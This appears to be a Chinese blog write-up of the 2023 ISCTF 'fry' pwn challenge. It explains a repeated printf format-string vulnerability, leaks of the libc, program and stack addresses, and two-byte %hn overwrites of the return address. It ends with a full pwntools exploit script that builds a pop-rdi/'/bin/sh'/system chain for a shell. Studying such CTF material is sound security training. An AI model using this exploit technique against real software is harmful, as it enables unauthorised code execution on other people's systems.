首页 > 其他分享 >2023ISCTF的fry题解及进阶格式化利用

2023ISCTF的fry题解及进阶格式化利用

时间:2023-12-17 16:32:29浏览次数:33  
标签:adr 进阶 libc 题解 2023ISCTF 地址 io fmtsend stack

这题是一个比较好的进阶格式化利用。就是有点繁琐。

先惯例checksec一下

2023ISCTF的fry题解及进阶格式化利用_进阶格式化

心脏骤停hhh。

没事先分析一下

Main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  puts("Welcome to ISCTF~~~~~~~~~~~~~~~~");
  puts("Do you want to get something funny");
  puts("Let's go on an adventure!");
  adventure();
  return 0;
}

啥都没有,只能继续看

Adventure函数

unsigned __int64 adventure()
{
  char s2[7]; // [rsp+9h] [rbp-37h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  strcpy(s2, "fries");
  s2[6] = 0;
  puts("Emmmmm... Could you give me some fries");
  read(0, buf, 0x14uLL);
  if ( !strcmp(buf, s2) )
  {
    puts("Thank u!!!");
    format();
  }
  else
  {
    printf("Oh~~~ That's bad!!");
  }
  return v3 - __readfsqword(0x28u);
}

也没啥,只要输入一个fries就可以进format函数,并且这里不存在溢出。

Format函数

unsigned __int64 format()
{
  int i; // [rsp+Ch] [rbp-84h]
  char buf[120]; // [rsp+10h] [rbp-80h] BYREF
  unsigned __int64 v3; // [rsp+88h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 7; ++i )
  {
    puts("Go get some fries on the pier");
    read(0, buf, 0x40uLL);
    printf(buf);
  }
  return v3 - __readfsqword(0x28u);
}

重头戏来了。这里有连续八次的格式化漏洞,每次给我们的空间是0x40。不存在栈溢出

泄露思路

泄露libc基地址是肯定要的,这题给了libc大概率有用。等会在栈上找一个libc的函数真实地址就行

然后是程序的基地址,这题可以通过format函数返回地址获取。

其次也需要泄露一个栈地址,因为这题无法覆盖format函数返回地址来劫持程序流,那我想到的是用格式化字符串来修改返回地址以劫持程序走向libc的poprdi,然后system。这一点如果不明白可以等会再说。

手搓格式化前置知识1

因为格式化字符串并不是修改栈本身储存的东西,而是修改栈本身储存的地址指向的东西,而泄露是泄露栈本身储存的东西

比如这里我的%p就是泄露栈本身储存的东西,即三个小蓝圈圈出来的东西,而如果我用%n去覆写,会被覆写的是黄色标记的内容也就是我说的栈上的地址指向的东西。

可以理解为栈地址是零阶,栈本身储存的东西为一阶,栈本身储存的地址指向的东西为二阶。

2023ISCTF的fry题解及进阶格式化利用_进阶格式化_02

如果要讲的再详细一点就是,图中左边的蓝色区块是栈段,你可以用栈段储存两种东西。

1.八字节大小直接的数字,字符串。图中储存的%11$p%25$p%24$p\n就是直接储存的表现。

2.一串八字节的地址。图中的三个小蓝圈就是栈上储存的八字节地址。

如果你用%p或是%x去泄露,你会得到一阶的东西,如果你用%n覆写,会改写二阶的东西。

一般来说是用不到这些东西的,因为fmtstr_payload确实很好用,但是它存在一个问题就是字节量大,在这题里面会超过0x40。

等会我们对格式化理解更深入之后就可以理解为什么fmtstr_payload字节量大了。

如果不理解11,25,24这三个数如何来的不会算偏移量的同学可以看看我之前的这篇博客https://blog.51cto.com/u_16356440/8695892

2023ISCTF的fry题解及进阶格式化利用_进阶格式化_03

手搓格式化前置知识2

如上图,我们分别拿到了libc的基地址,程序的基地址,栈段地址(这个栈地址是我处理后的,让他等于format函数返回地址,因为栈的偏移量也是固定的。)

为了更好的理解接下来的覆写思路,我先发送了一段试例payload

payload = p64(stack_adr + 0) + p64(stack_adr + 1)
payload +=p64(stack_adr + 2) + p64(stack_adr + 4)
payload +=p64(stack_adr + 6) + p64(stack_adr + 8)
payload +=p64(stack_adr +10) + p64(stack_adr +12)
io.recvuntil(b'pier\n')
io.sendline(payload)

2023ISCTF的fry题解及进阶格式化利用_进阶格式化_04

这里主要关注蓝圈内容和下面画蓝线的部分内容对比。结合刚才的payload,我猜你们也知道发生了什么。

2023ISCTF的fry题解及进阶格式化利用_fry_05

这是我自己画的,有点粗糙hhh。

现在比如我们要覆写0x7ffd2bc1ded0 —▸ 0x7ffd2bc1df58 —▸ 0x55fdece8e387(adventure+134)的最后的这个返回地址

我们肯定没办法直接%kc%m$n的方式覆写,这样子的k会是一个天文数字,非常容易出问题卡顿等等,更别提连靶机的时候网络稍微出点问题就寄寄。

所以我们选择用%kc%m$hn,n是四字节,hn是两字节,hhn是一个字节。( 这里的%kc可以避免你使用b'a'*k)

而$hn只会改写该地址指向内容的最低两个字节,这也就是我们要用到p64(stack_adr + 2)的原因。

取其指向的返回地址(0x0000 55fd ece8 e387)的更高位,这里加2之后结果是0xe880 0000 55fd ece8,我们就能顺利修改到返回地址的任意一位0x55fdece8e387(adventure+134)

还有刚刚说的为什么fmtstr_payload做这题不行,他用的是hhn,就导致我们改一次的事情,他要改两次,导致输入的字节长度会比我们长很多,无法减到0x40一下,所以这题我只知道手搓格式化的做法。

如果到这里还是不理解可以去看看ad世界(xctf)greeting-150那题的题解再来看这题,greeting-150比这题更简单一些。

覆写前数据处理

由于我们打算一次覆写两个字节,首先得把我们的gagdet拆成四份,每份两字节。

这里用poprdi的gagdet举例,假设原来的libc_pop0x0000 7fff aaaa bbbb

我用的是与运算,是当时在网上查到的方法。

libc_pop = libc_base + 0x27C65#这个是我直接在题目给的libc文件里找的poprdi和base的偏移量
libc_pop1 = (libc_pop&0xFFFF00000000)//0x100000000#libc_pop1 = 0x7fff
libc_pop2 = (libc_pop&0xFFFF0000)//0x10000#libc_pop1 = 0xaaaa
libc_pop3 = (libc_pop&0xFFFF)#libc_pop1 = 0xbbbb

覆写思路

这题毫无疑问我们需要覆写很多次,得先定义一个函数。这是我的,刚开始做的时候一次改2×hn出现了问题,后来在大佬指点下明白了原因是被\x00截断了,但是还没这么做,就先只讲我原来的办法。

def fmtsend(libc_adr,stack_adr,x):
    io.recvuntil(b'pier\n')#libc_adr
    payload2 = (b'%' + str(libc_adr).encode() + b'c%10$hn').ljust(0x10,b'\x00')#8 9
    payload2 += p64(stack_adr + x)#10
    io.sendline(payload2)
    print(payload2)

我的函数长这样,一次只覆盖两个字节。我们至少需要p64(pop_rdi),p64(/bin/sh),p64(system)三个gadget

就算先不考虑栈对其可能还得在加一个ret的地址,我们也至少有3 * 6个字节要覆盖也就是18/2 = 9次,超过了题目改的8次。

所以我先找了format函数的起始地址,在第一轮中先把format返回地址覆盖成起始地址续个命,再来一次。

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("61.147.171.105", 61545)
io = process('./fry')
def debug():
    gdb.attach(io)
    pause()
debug()

io.recvuntil(b'some fries\n')
io.send(b'fries')
io.recvuntil(b'pier\n')
payload = b'%11$p%25$p%24$p'
io.sendline(payload)#0
#分别泄露libc基地址,主代码段基地址,栈段地址

libc_base = int(io.recv(0xe),16) - 0x80BB0 - 25
print(hex(libc_base))
libc_pop = libc_base + 0x27C65
libc_pop1 = (libc_pop&0xFFFF00000000)//0x100000000
libc_pop2 = (libc_pop&0xFFFF0000)//0x10000
libc_pop3 = (libc_pop&0xFFFF)

libc_bin = libc_base + 0x19604F
libc_bin1 = (libc_bin&0xFFFF00000000)//0x100000000
libc_bin2 = (libc_bin&0xFFFF0000)//0x10000
libc_bin3 = (libc_bin&0xFFFF)

libc_sys = libc_base + 0x4C920
libc_sys1 = (libc_sys&0xFFFF00000000)//0x100000000
libc_sys2 = (libc_sys&0xFFFF0000)//0x10000
libc_sys3 = (libc_sys&0xFFFF)

fry_base = int(io.recv(0xe),16) - 0x1387
print(hex(fry_base))
read_adr = fry_base + 0x127A
read_adr1 = (read_adr&0xFFFF00000000)//0x100000000
read_adr2 = (read_adr&0xFFFF0000)//0x10000
read_adr3 = (read_adr&0xFFFF)

ret_adr = fry_base + 0x142A
ret_adr1 = (ret_adr&0xFFFF00000000)//0x100000000
ret_adr2 = (ret_adr&0xFFFF0000)//0x10000
ret_adr3 = (ret_adr&0xFFFF)

stack_adr = int(io.recv(0xe),16) - 0x48
print(hex(stack_adr))
def fmtsend(libc_adr,stack_adr,x):
    io.recvuntil(b'pier\n')#libc_adr
    payload2 = (b'%' + str(libc_adr).encode() + b'c%10$hn').ljust(0x10,b'\x00')#8 9
    payload2 += p64(stack_adr + x)#10
    io.sendline(payload2)
    print(payload2)
#尽量简化代码
fmtsend(read_adr1,stack_adr,4)#1#末尾的数字用来记总共几次了
fmtsend(read_adr2,stack_adr,2)#2#由于最开始泄露了一次
fmtsend(read_adr3,stack_adr,0)#3#所以从1开始。

fmtsend(libc_bin1,stack_adr,36)#4
fmtsend(libc_bin2,stack_adr,34)#5
fmtsend(libc_bin3,stack_adr,32)#6

fmtsend(libc_sys1,stack_adr,44)#7
fmtsend(libc_sys2,stack_adr,42)#0
fmtsend(libc_sys3,stack_adr,40)#1

fmtsend(ret_adr1,stack_adr,20)#2
fmtsend(ret_adr2,stack_adr,18)#3
fmtsend(ret_adr3,stack_adr,16)#4

fmtsend(libc_pop1,stack_adr,28)#5
fmtsend(libc_pop2,stack_adr,26)#6
fmtsend(libc_pop3,stack_adr,24)#7

io.interactive()

具体有些细节像stack_adr加几,我大部分都是再调试中完成的,因为重新返回format函数之后感觉栈地址比较乱。其实还是太菜了www

标签:adr,进阶,libc,题解,2023ISCTF,地址,io,fmtsend,stack
From: https://blog.51cto.com/u_16356440/8862210

相关文章

  • [Ynoi2004] rpmtdq 题解
    人生第一发\(Ynoi\)的题,写一篇题解庆祝一下传送门我们可以发现,对于二元组\((x,y)\),若存在一个\(dist(i,j)\ledist(x,y),x<i<j<y\)那么答案肯定不是二元组\((x,y)\)我们可以考虑把这些肯定不是的点剔除掉考虑怎么找,我们可以先点分治,求出每个点......
  • AT_abc333_e [ABC333E] Takahashi Quest 题解
    AT_abc333_e[ABC333E]TakahashiQuest题解思路解析可以发现一瓶药水无论什么时候拿被使用掉的时间都是不会变的,所以如果我们想让一瓶药水再背包里待得时间尽可能的短就要让它尽可能的被晚拿起来,于是我们就可以想到使用栈存下每一瓶同类的药水分别出现的时间,此时每遇到一只怪......
  • 2022年RHCE认证考题解析最新版—RH294环境【转】
    由于本人10.17已成功考过CSA,经过两周所学的ansible并结合题库整理出来的CE解析版我也是11月月底就要考了,不过这套解析也是可以满足今年的redhat8题库文中可能涉及一些命令的参数解释,如有不懂的伙伴可参考我的笔记Ansibleps:一切模板似的题库考试,都需要经过大脑的理解方可顺利上......
  • VMware workstation中安装的centos虚拟机ip自动获取可以上网,设置静态ip不能上网问题解
    一、需求   linux中我们会设置hosts文件,这会涉及ip和域名的设置,但是如果虚拟机自动获取ip地址的话,这就意味着之前设置的hosts文件需要重新修改,所以我们需要设置虚拟机为静态ip地址。二、故障现象   我linux虚拟机最开始是自动获取的ip地址,用的nat模式,是可以上网的,......
  • 一道很不错的高中数学题的题解解析
    引:上周六上午把一道高中的数学竞赛题(一道8分的填空题,原题如下图所示)当成一道大题(如上)郑重其事地和孩子以互动的方式探讨了这个题的题解分析. 这是一道出得很好的题.其题解所涉及的知识不超出高一目前所学内容,因此高一的学生也是可能做得出来的.但这题是一道很综合的题,涉......
  • 【理论篇】SaTokenException: 非Web上下文无法获取Request问题解决 -理论篇
    在我们使用sa-token安全框架的时候,有时候会提示:SaTokenException:非Web上下文无法获取Request错误截图:在官方网站中,查看常见问题排查:错误追踪:跟着源码可以看到如下代码:从源码中,我们可以看到,由于非Web上下文中无法直接获取HttpServletRequest对象,因此无法直接在子线程中使用SA-Token......
  • 进阶两数交换的方法论
    今天我们来看一个简单的问题,大家对交换两个数字有多少想法呢,先看看这个。以下我们全都以1,2,为例。#include<stdio.h>voidswap(inta,intb){ intt; t=a; a=b; b=t;}intmain(){ inta=1,b=2; swap(a,b); printf("a=%db=%d\n",a,b); return0;}请问这个代码会输出......
  • ABC311G One More Grid Task 题解
    给出\(n\timesm\)的矩阵\(a\)。求权值最大子矩形的权值。一个矩形的权值定义为它里面全部数的和乘上最小值。\(n,m\leq300,0\leqa_{i,j}\leq300\)。枚举最小的数\(a_{i,j}\)。则在满足\(a_{i,j}\)是最小值时,包含\((i,j)\)的矩形一定是极大的。这些矩形不好枚举,......
  • SP21690 POWERUP - Power the Power Up 题解
    题目传送门前置知识扩展欧拉定理解法直接对\(a\)和\(b^c\)分讨,跑一遍扩展欧拉定理就行了。另外由于本题的特殊规定\(0^0=1\),故需要在当\(a=0\)时,对\(b^c\)进行判断。手模几组样例,发现结论挺显然的。代码#include<bits/stdc++.h>usingnamespacestd;#definell......
  • SP10050 POWTOW - Power Tower City 题解
    题目传送门前置知识扩展欧拉定理解法本题幂塔是有限层的,这里与luoguP4139上帝与集合的正确用法中的无限层幂塔不同,故需要在到达递归边界\(n+1\)时进行特殊处理,对于处理\(\varphi(p)\)在递归过程中等于\(1\)的情况两题基本一致。回忆扩展欧拉定理中的\(b\)和\(\v......